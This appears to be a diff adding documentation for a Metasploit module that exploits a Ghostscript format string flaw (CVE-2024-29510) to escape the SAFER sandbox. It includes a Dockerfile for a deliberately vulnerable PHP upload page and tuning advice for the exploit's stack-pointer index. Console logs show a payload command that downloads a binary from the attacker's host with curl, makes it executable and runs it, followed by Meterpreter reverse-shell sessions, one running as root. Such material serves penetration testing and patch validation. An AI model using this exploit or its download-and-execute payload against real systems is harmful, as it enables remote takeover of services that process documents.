|
| 1 | +## Vulnerable Application |
| 2 | + |
| 3 | +This module exploits a format string vulnerability in Ghostscript versions before 10.03.1 to achieve a SAFER sandbox bypass and execute arbitrary commands. This vulnerability is reachable via libraries such as ImageMagick, which is often used by web applications and other services to preview or convert documents. |
| 4 | + |
| 5 | +This module will generate a Encapsulated PostScript (EPS) file that embeds the selected payload. This file can be consumed by any service using a vulnerable version of Ghostscript under the hood. |
| 6 | + |
| 7 | +### Installation |
| 8 | +#### With standalone Ghostscript |
| 9 | +Download the source files from https://github.com/ArtifexSoftware/ghostpdl-downloads/releases/ and build Ghostscript: |
| 10 | +``` |
| 11 | +wget https://github.com/ArtifexSoftware/ghostpdl-downloads/releases/download/gs10030/ghostscript-10.03.0.tar.gz |
| 12 | +tar xzvf ghostscript-10.03.0.tar.gz |
| 13 | +cd ghostscript-10.03.0 |
| 14 | +./configure |
| 15 | +make |
| 16 | +``` |
| 17 | +Then, use the `bin/gs` directly. |
| 18 | + |
| 19 | +#### With ImageMagick |
| 20 | +Follow the steps to build Ghostscript but run an additional `make install` to make sure the binaries are copied at the right location in the system. |
| 21 | +Download ImageMagick source files from https://github.com/ImageMagick/ImageMagick/archive/ and build it: |
| 22 | +```shell |
| 23 | +./configure --prefix=/usr --with-gslib --disable-dependency-tracking |
| 24 | +make |
| 25 | +make install |
| 26 | +ldconfig /usr/lib |
| 27 | +``` |
| 28 | +Then, use `identify` or `convert` directly. |
| 29 | + |
| 30 | +#### With a PHP application using ImageMagick on Docker |
| 31 | +Create the following `Dockerfile` (mostly taken from the vulhub projects [1](https://github.com/vulhub/vulhub/blob/1d932c52b9eb257de8c8a20ba7696a598157ef8f/base/imagemagick/7.1.1-17/Dockerfile) and [2](https://github.com/vulhub/vulhub/blob/master/ghostscript/CVE-2019-6116)): |
| 32 | +```dockerfile |
| 33 | +FROM debian:bullseye |
| 34 | + |
| 35 | +RUN set -ex \ |
| 36 | + && apt-get update \ |
| 37 | + && apt-get install -y --no-install-recommends build-essential automake autoconf libtool libltdl-dev wget ca-certificates libpng-dev libjpeg62-turbo-dev \ |
| 38 | + libfontconfig1-dev libfreetype6-dev librsvg2-dev libxml2-dev zlib1g-dev libgif-dev php-cli curl \ |
| 39 | + && apt-get purge -y --auto-remove -o APT::AutoRemove::RecommendsImportant=false \ |
| 40 | + && rm -rf /var/lib/apt/lists/* |
| 41 | + |
| 42 | +ARG GS_URL=https://github.com/ArtifexSoftware/ghostpdl-downloads/releases/download/gs10030/ghostscript-10.03.0.tar.gz |
| 43 | +RUN set -ex \ |
| 44 | + && wget -qO- ${GS_URL} | tar xz --strip-components=1 -C /usr/src \ |
| 45 | + && cd /usr/src \ |
| 46 | + && ./configure \ |
| 47 | + && make \ |
| 48 | + && make install \ |
| 49 | + && rm -rf /usr/src/* |
| 50 | + |
| 51 | +ARG IM_VERSION=7.1.1-34 |
| 52 | +RUN set -ex \ |
| 53 | + && wget -qO- https://github.com/ImageMagick/ImageMagick/archive/${IM_VERSION}.tar.gz \ |
| 54 | + | tar xz --strip-components=1 -C /usr/src \ |
| 55 | + && cd /usr/src \ |
| 56 | + && ./configure --prefix=/usr --with-gslib --disable-dependency-tracking \ |
| 57 | + && make \ |
| 58 | + && make install \ |
| 59 | + && ldconfig /usr/lib \ |
| 60 | + && rm -rf /usr/src/* |
| 61 | + |
| 62 | +RUN mkdir -p /var/www/html \ |
| 63 | + && echo "<?php \n \ |
| 64 | + if (!empty(\$_FILES)): \n \ |
| 65 | + \$ext = pathinfo(\$_FILES['file_upload']['name'], PATHINFO_EXTENSION); \n \ |
| 66 | + \$size = shell_exec(\"identify -format '%w x %h' eps:{\$_FILES['file_upload']['tmp_name']}\"); \n \ |
| 67 | + echo \"Image size is: \$size\"; \n \ |
| 68 | + else: \n \ |
| 69 | + ?> \n \ |
| 70 | + <form method=\"post\" enctype=\"multipart/form-data\"> \n \ |
| 71 | + File: <input type=\"file\" name=\"file_upload\"> \n \ |
| 72 | + <input type=\"submit\"> \n \ |
| 73 | + </form> \n \ |
| 74 | + <?php \n \ |
| 75 | + endif;" > /var/www/html/index.php |
| 76 | + |
| 77 | +CMD ["php", "-t","/var/www/html", "-S", "0.0.0.0:8080"] |
| 78 | +``` |
| 79 | + |
| 80 | +Build the docker image: |
| 81 | +```shell |
| 82 | +build -t php_magick_gs:10.03.0 . |
| 83 | +``` |
| 84 | + |
| 85 | +Run it: |
| 86 | +```shell |
| 87 | +docker run --rm -p8888:8080 php_magick_gs:10.03.0 |
| 88 | +``` |
| 89 | +Access the example web page at http://127.0.0.1:8888 and upload the generated `.eps` file. |
| 90 | + |
| 91 | +## Verification Steps |
| 92 | +1. Install the application |
| 93 | +1. Start msfconsole |
| 94 | +1. Do: `use multi/fileformat/ghostscript_format_string_cve_2024_29510` |
| 95 | +1. Do: `exploit lhost=<local host address>` |
| 96 | +1. Start a handler for the seclected payload |
| 97 | +1. Have the generated Postscript processed by a vulnerable version of Ghostscript |
| 98 | +1. You should get a shell. |
| 99 | + |
| 100 | +## Options |
| 101 | + |
| 102 | +### FILENAME |
| 103 | +The name of the Encapsulated PostScript (EPS) file that will be generated by this module. Default is `msf.eps`. |
| 104 | + |
| 105 | +### INDEX_OUT_PTR |
| 106 | +This module will exploit a format string vulnerability to update the boolean field (`path_control_active`) in memory and disable the `-dSAFER` security sandbox to enable code execution. This field is stored in a specific data structure which can be accessed from a pointer received by the function calling the vulnerable `gs_snprintf()` function. The exploit will dereference this pointer multiple times to reach this field. |
| 107 | +This option specify the index of this pointer (`gp_file *out`) on the stack. The default is `5`, which seems to work most of the time. Note that when Ghostscript is installed on a Docker instance, this index seems to be `6`. That being said, if the exploit doesn't work, try with different index value (usually `4`, `5` or `6`). |
| 108 | + |
| 109 | + |
| 110 | +## Scenarios |
| 111 | + |
| 112 | +### Ghostscript version 10.03.0 |
| 113 | +Generate the `.eps` files: |
| 114 | +``` |
| 115 | +msf6 exploit(multi/fileformat/ghostscript_format_string_cve_2024_29510) > exploit verbose=true lhost=192.168.1.113 |
| 116 | +
|
| 117 | +[*] Command to run on remote host: curl -so ./kmMJykHyqUiQ http://192.168.1.113:8080/QAeBnT-6WHJiW5MJjwMrfA; chmod +x ./kmMJykHyqUiQ; ./kmMJykHyqUiQ & |
| 118 | +[+] msf.eps stored at /home/n00tmeg/.msf4/local/msf.eps |
| 119 | +[+] You will need to start a handler for the selected payload first. |
| 120 | +[+] Example usage with Ghostscript: gs -q -dSAFER -dBATCH -dNODISPLAY msf.eps |
| 121 | +[+] Example usage with ImageMagick: identify msf.eps |
| 122 | +``` |
| 123 | + |
| 124 | +Start a hander: |
| 125 | +``` |
| 126 | +msf6 exploit(multi/fileformat/ghostscript_format_string_cve_2024_29510) > use cmd/linux/http/x64/meterpreter_reverse_tcp |
| 127 | +msf6 payload(cmd/linux/http/x64/meterpreter_reverse_tcp) > set lhost 192.168.1.113 |
| 128 | +lhost => 192.168.1.113 |
| 129 | +msf6 payload(cmd/linux/http/x64/meterpreter_reverse_tcp) > to_handler |
| 130 | +[*] Payload Handler Started as Job 0 |
| 131 | +``` |
| 132 | + |
| 133 | +Execute Ghostscript directly: |
| 134 | +```shell |
| 135 | +./gs -q -dSAFER -dBATCH -dNODISPLAY ~/.msf4/local/msf.eps |
| 136 | +``` |
| 137 | + |
| 138 | +Get a Meterpreter session: |
| 139 | +``` |
| 140 | +msf6 exploit(multi/fileformat/ghostscript_format_string_cve_2024_29510) > [*] Meterpreter session 6 opened (192.168.1.113:4444 -> 192.168.1.113:56786) at 2024-07-16 11:00:59 +0200 |
| 141 | +
|
| 142 | +msf6 exploit(multi/fileformat/ghostscript_format_string_cve_2024_29510) > sessions -1 |
| 143 | +[*] Starting interaction with 6... |
| 144 | +
|
| 145 | +meterpreter > getuid |
| 146 | +Server username: n00tmeg |
| 147 | +meterpreter > sysinfo |
| 148 | +Computer : 192.168.1.113 |
| 149 | +OS : Arch rolling (Linux 6.9.7-arch1-1) |
| 150 | +Architecture : x64 |
| 151 | +BuildTuple : x86_64-linux-musl |
| 152 | +Meterpreter : x64/linux |
| 153 | +``` |
| 154 | + |
| 155 | +### ImageMagick version 7.1.1-34 on Docker |
| 156 | +``` |
| 157 | +msf6 exploit(multi/fileformat/ghostscript_format_string_cve_2024_29510) > exploit verbose=true lhost=192.168.1.113 index_out_ptr=6 filename=msf6.eps |
| 158 | +
|
| 159 | +[*] Command to run on remote host: curl -so ./GzRgKQokL http://192.168.1.113:8080/QAeBnT-6WHJiW5MJjwMrfA; chmod +x ./GzRgKQokL; ./GzRgKQokL & |
| 160 | +[+] msf6.eps stored at /home/n00tmeg/.msf4/local/msf6.eps |
| 161 | +[+] You will need to start a handler for the selected payload first. |
| 162 | +[+] Example usage with Ghostscript: gs -q -dSAFER -dBATCH -dNODISPLAY msf6.eps |
| 163 | +[+] Example usage with ImageMagick: identify msf6.eps |
| 164 | +``` |
| 165 | + |
| 166 | +Start a hander: |
| 167 | +``` |
| 168 | +msf6 exploit(multi/fileformat/ghostscript_format_string_cve_2024_29510) > use cmd/linux/http/x64/meterpreter_reverse_tcp |
| 169 | +msf6 payload(cmd/linux/http/x64/meterpreter_reverse_tcp) > set lhost 192.168.1.113 |
| 170 | +lhost => 192.168.1.113 |
| 171 | +msf6 payload(cmd/linux/http/x64/meterpreter_reverse_tcp) > to_handler |
| 172 | +[*] Payload Handler Started as Job 0 |
| 173 | +``` |
| 174 | + |
| 175 | +Follow the `PHP application using ImageMagick on Docker` installation steps and upload the generated `.eps` file from http://127.0.0.1:8888. |
| 176 | + |
| 177 | +Get a Meterpreter session: |
| 178 | +``` |
| 179 | +msf6 exploit(multi/fileformat/ghostscript_format_string_cve_2024_29510) > [*] Meterpreter session 3 opened (192.168.1.113:4444 -> 172.17.0.3:45102) at 2024-07-16 14:46:55 +0200 |
| 180 | +
|
| 181 | +msf6 exploit(multi/fileformat/ghostscript_format_string_cve_2024_29510) > sessions -1 |
| 182 | +[*] Starting interaction with 3... |
| 183 | +
|
| 184 | +meterpreter > getuid |
| 185 | +Server username: root |
| 186 | +meterpreter > sysinfo |
| 187 | +Computer : 172.17.0.3 |
| 188 | +OS : Debian 11.10 (Linux 6.9.7-arch1-1) |
| 189 | +Architecture : x64 |
| 190 | +BuildTuple : x86_64-linux-musl |
| 191 | +Meterpreter : x64/linux |
| 192 | +``` |
| 193 | + |
0 commit comments